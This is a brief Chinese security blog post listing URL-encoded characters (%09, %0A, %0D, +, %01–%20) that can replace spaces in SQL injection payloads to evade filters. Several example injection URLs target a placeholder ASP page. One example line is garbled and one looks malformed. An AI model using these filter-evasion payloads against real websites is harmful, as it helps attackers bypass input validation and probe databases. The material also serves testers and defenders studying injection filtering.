SQL注入中可以替换空格的字符

admin 2021年9月4日08:24:50评论101 views字数 406阅读1分21秒阅读模式

默认是:
asp?id=78″>http://www.xxx.com/shownotice.asp?id=78 and 1=1
实际上用%09  %0A  %0D  +都可以替代空格
例如:
http://www.xxx.com/shownotice.asp?id=78%09and%091=1
http://www.xxx.com/shownotice.asp?id=78%0Aand%0A1=1
http://www.xxx.com/shownotice.asp?id=78%0Dand%0D1=1
http://www.xxx.com/shownotice.asp?id=78%+and+1=1

以下可以在SQLServer2000下可以替换%01到%20都可以
http://www.xxx.com/shownotice.asp?id=78%19and%191=1


本文始发于微信公众号(飓风网络安全):SQL注入中可以替换空格的字符

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月4日08:24:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入中可以替换空格的字符https://cn-sec.com/archives/359408.html

发表评论

匿名网友 填写信息